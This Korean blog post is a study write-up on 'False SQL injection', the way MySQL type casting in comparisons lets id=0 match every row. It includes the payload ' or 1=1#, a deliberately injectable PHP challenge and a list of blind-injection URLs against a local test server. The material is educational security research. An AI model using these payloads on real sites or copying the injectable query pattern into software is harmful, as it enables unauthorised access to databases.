SQL Injection Study

Web 2015.11.13 16:59
주제 : Webhacking Study - False SQL injection
날짜 : 2015. 06.18
작성자 : Sakuya Izayoi


1. 개요 및 목적

False SQL Injection에 관한 문서를 읽고 이해 한 후 원리에 대해 생각해 본다. 더 나아가 해당 기법을 사용하여 발전된 공격을 할 수 있는 가능성을 제시하고 실제 POC코드를 보여줌으로써 웹 해킹의 수준을 더욱 업그레이드 하는것을 그 목적으로 한다.


2. 내용

이번 회차에 주어진 내용은 해당 링크에 주어진 문서를 읽고 각자 독후감 형식으로 글을 쓰는 형태였다. 다소 생소한 형태였지만 한글문서가 귀한 요즘 투정을 부릴수는 없었다. 문서의 내용은 개략적으로 아래와 같다.


이 문서는 SQL injection 공격이 웹 방화벽이나 기타 보안 솔루션 방어 우회가 가능하다는걸 공개하기 위해 작성하였다.


한국 웹 방화벽을 대상으로 테스트 한 결과 대부분의 SQL injection 필터링 우회가 가능하였다.

문서에서 설명하는 내용을 보기 위해서는 기본적인 MySQL 에 대한 이해가 필요하다.

이 문서에서 인증 공격에 사용되는 SQL injection 용어를 두가지로 분류 할것인데 일반직인 SQL injection이 True SQL injection 이고

새롭게 보여줄 공격이 False SQL injection 이다. 하지만 True SQL injection만 해도 이 문서에서는 독특한 공격으로 보여줄 것이다.

그리고 정확히 얘기 하자면 Blind SQL injection 공격을 말하는 True/False SQL injection 이랑은 전혀 다른 공격이다.

이번에 직접 공격한 서버는 디폴트 상태에서 테스트 했으며, 버전은 다음과 같다.


' or 1=1#


위의 공격 코드가 일바적인 SQL injection이며 이를 True SQL injection 으로 분류 한다.



당연히 id 필드에 해당되는 문자열이 없으니 출력될 내용이 없다.

사실 MySQL에서 문자열 넣는 부분에 숫자를 입력해도 입력이 되는 경우를 많이 보았다.

그 바탕으로 테스트한 결과가 다음과 같은 예 이다.


mysql> select * from users where id=0;

+-----+-----------+----------+

| num | id        | password |

+-----+-----------+----------+

|   1 | admin     | ad1234   |

|   2 | wh1ant    | wh1234   |

|   3 | secuholic | se1234   |

+-----+-----------+----------+

3 rows in set (0.00 sec)


id에 숫자 0을 입력하면 테이블의 모든 내용이 출력되는걸 볼 수 있다.

이것이 False SQL injection의 기본이다.


우선 본론에 앞서 작성자의 테스트 환경이다

Mysql : 5.5.38

PHP : 5.5.14

OS : OSX10.9.5

이 문서에서 제공한 코드를 토대로 실제로 동작하는지 테스트 해보기로 했다.

DB를 만드는 과정이나 데이터를 넣는것 등은 해당 문서에도 제공하니 참조하도록 하자.


create database injection_db;

use injection_db;

create table users(num int not null, id varchar(30) not null, password varchar(30) not null, primary key(num));

insert into users values(1, 'admin', 'ad1234');

insert into users values(2, 'wh1ant', 'wh1234');

insert into users values(3, 'secuholic', 'se1234'); 


해당 DB/Table을 만든 후 아래와 같은 쿼리를 작동 시켜보았다.


우선 데이터가 정상적으로 들어있음을 확인 할 수 있엇다. 이제 문서 작성자가 이야기한 False SQL Injection에 대해 쿼리를 작성하여 시도하여 보자.

문서의 내용과는 다르게 3개의 Warning이 발생하였다. 이 Warning의 내용을 살펴보면..

admin, wh1ant, secuholic의 문자열에 대해 DOUBLE값으로 Truncated 에 실패 하였다고 메세지를 출력해 준것 같다.

이에 착안하여 테이블에 데이터를 조금만 더 넣어보기로 하자.

테이블에 넣어보기로 한 데이터는 아래와 같다.


데이터를 넣었으니 이제 한번 더 False SQL Injection을 시도해 보자. 결과는 아래와 같다.



이 쿼리문을 동작시켰을때 출력된 값들은 문자열로 시작하거나 0으로 시작하는것 뿐이었다. 6개의 warning에 대해 살펴보도록 하자.

한가지 흥미로운점은 6개의 Warning이 발생했음에도 불구하고, 4개의 행만이 출력되었다는 점이다. 아직까진 명확하게 판명내리기 어렵기에, 하나의 쿼리문을 더 동작시켜서 구체화 해보기로 하였다.

False SQL Injection과는 조금 다른 구문을 시도해 보았다. 여기서는 id=123인것을 들고와야 하는데 왜 엉뚱한 값인 0123admin값을 들고왔을까?


여기까지 예제를 두드려보면 개략적으로 감을 잡을 수 있다. 

=(equal) 연산자를 사용할때 mysql은 내부적으로 좌측과 우측의 자료형을 비교한다. 여기서 우측 항을 기준으로하며, 기준으로 잡은 우측 항의 자료형과 좌측 항의 자료형이 다를경우 좌측을 강제로 형변환(casting) 시킨다. 이 예제에서는 mysql에서 비교하기로 한 우측의 형태가 DOUBLE라고 인식을 하였으니, 좌측도 역시 DOUBLE로 형 변환을 시도하지만, numeric한 문자가 들어있지 않은 경우엔 0을 반환하게 되고, 이 값이 곧 id가 되어서 id=0을 만족하는 경우가 되어 버린것이다.  ^[1-9]의 정규표현식을 벗어나는 모든 ID들이 리턴되는 것이다.

그럼 위의 id=123의 경우에는 어떨까? 과정은 역시 동일하다. 우측을 기준으로 잡고 좌측을 형 변환 시켜 리턴된 값을 비교한다. 여기서 0123은 123과 같은 값이므로 id의 값은 123이되고 그 결과 id=123을 만족하게 되어 결과를 내놓았을 뿐이다.

실제로 이러한 문자열들이 어떻게 캐스팅이 되는지 알아보고 싶다면 간단한 연산을 통해 알아볼 수 있다.

위의 예시에서는 여러가지를 들어 문자열이 캐스팅 되는 과정을 보여주고 있다. 자신이 변환할수 있는 범위까지만 변환후, 이후의 문자열은 냉정하게 버려버린다.

실제로 우측을 문자열로 주게되면 문서에서 말하는 False SQL Injection의 결과는 나오지 않는다.


3. 응용

문서에서 말하는 False SQL Injection은 결국 형변환에 실패하여 리턴되는 값이 0이되는 모든 값에 대해 TRUE값을 리턴함으로써 나타나는 오류임을 알았다. 이를 통해 간단한 문제를 만들어 보았다.

<?php

  include(‘./flag.php’);

  include(‘./config.php’);


        $hash = md5(rand());


        if(strlen($_GET['hash']) != 32)

                die("your input is not hash. retry");


        something_filtering($_GET[‘hash’]);

        $q = "SELECT '$hash' =".$_GET['hash'];

        $sql = mysql_query($q);

        $row = mysql_fetch_array($sql);


        if($row[0] ===‘1')

                echo_flag();

        else

                echo "NONONONONNONONONNO";

?> 


문제의 컨셉은 랜덤한 해쉬값을 위에서 소개한 False SQL Injection을 통해 1의 값을 출력시키게 하는 것이다.

조금의 트릭을 위해 입력은 정확히 32글자만 받기로 하였지만, 실제로는 크게 상관이 없다.

md5가 아니더라도 sha1등 응용할수 있는 부분은 많으며, hash를 구성하는 문자는 0-f 이며, 첫 글자가 0으로 형 변환 될 경우는 총 16가지의 경우의 수 중, 7가지로 절반에 가까운 확률로 [0]{32}를 입력하였을때 mysql에서의 비교는 1을 리턴 하게 될 것이다.

링크의 저자가 말한것 처럼 Blind SQL도 충분히 가능하다. 하지만 기초적인 부분을 말하기에 앞서, 저자가 적은 Blind SQL은 그가 적은 문서의 주제와 다소 거리가 있다.





http://127.0.0.1/info.php?num=0^(locate(0x61,(select id from users where num=1),1)=1)

http://127.0.0.1/info.php?num=0^(select position(0x61 in (select id from users where num=1))=1)

http://127.0.0.1/info.php?num=0^(reverse(reverse((select id from users where num=1)))=0x61646d696e)

http://127.0.0.1/info.php?num=0^(lcase((select id from users where num=1))=0x61646d696e)

http://127.0.0.1/info.php?num=0^((select id from users where num=1)=0x61646d696e)

http://127.0.0.1/info.php?num=0^(id regexp 0x61646d696e)

http://127.0.0.1/info.php?num=0^(id=0x61646d696e)

http://127.0.0.1/info.php?num=0^((select octet_length(id) from users where num=1)=5)

http://127.0.0.1/info.php?num=0^((select character_length(id) from users where num=1)=5) 

여기서 그가 적어놓은 것들은 앞서 이야기한 강제 형변환을 통한 문자열 비교를 통해 도출되는 결과가 아닌, 단순한 비트연산을 통한 결론이 도출되는 공격들이다. 0과 xor되는 값들이 모두 연산결과에 의해서 0이아니느 TRUE의 값을 가지므로 0^1의 형태가 되고 이는 곧 TURE를 가져온다는것이 결론.

하지만 그가 언급한 False Blind SQL Injection은 num부분이 아닌 id부분과 비교되었을때야 말로 그 의미를 가질수 있을것이다. 만약 ID라는 인자를 받고 그것을 통해  Blind SQL Injection을 한다고 가정해보자.

id=if(1,1,0)#

이렇게 적게 된다면 TRUE의 경우 1을 리턴하고, 아닐경우 0을 리턴하게 될텐데 이는 우리가 생각한것과 정 반대의 결과를 도출한다.

이에 대한 원인은 위에서 기술했던 형변환을 통해 나온 결과이며, 만약 1 로 시작하는 아이디가 있었다면 그에대한 결과값을 들고 왔을것이다.

Blind SQL에 사용하기 위해서는 리턴된 Row가 다르다는 것을 이용하여 공격해야 할 것으로 보인다.


4. 결론

이 문서에서 이야기 하는 False SQL Injection은 사실 정당한 대소비교 혹은 동치관계를 통한 결과값의 도출이 맞으며, 이 개념을 사용할수 있는, 혹은 응용해야만 하는 취약점은 Real world에서 상당히 드물것으로 생각된다. 하지만 이를 통해 Mysql의 내부적인 동작원리를 알게 되었다면 이 문서의 목적은 달성하게 된게 아닐까.


'Web' 카테고리의 다른 글

Upload 코드의 흔한 실수  (2) 2016.03.07
Custom Webshell  (0) 2016.02.12
SQL Injection Study  (3) 2015.11.13
PHP web development tips and tricks  (0) 2015.11.13
Error based SQL  (0) 2015.10.28
mysql python  (0) 2015.02.23
Posted by Maid:: IzayoiSakuya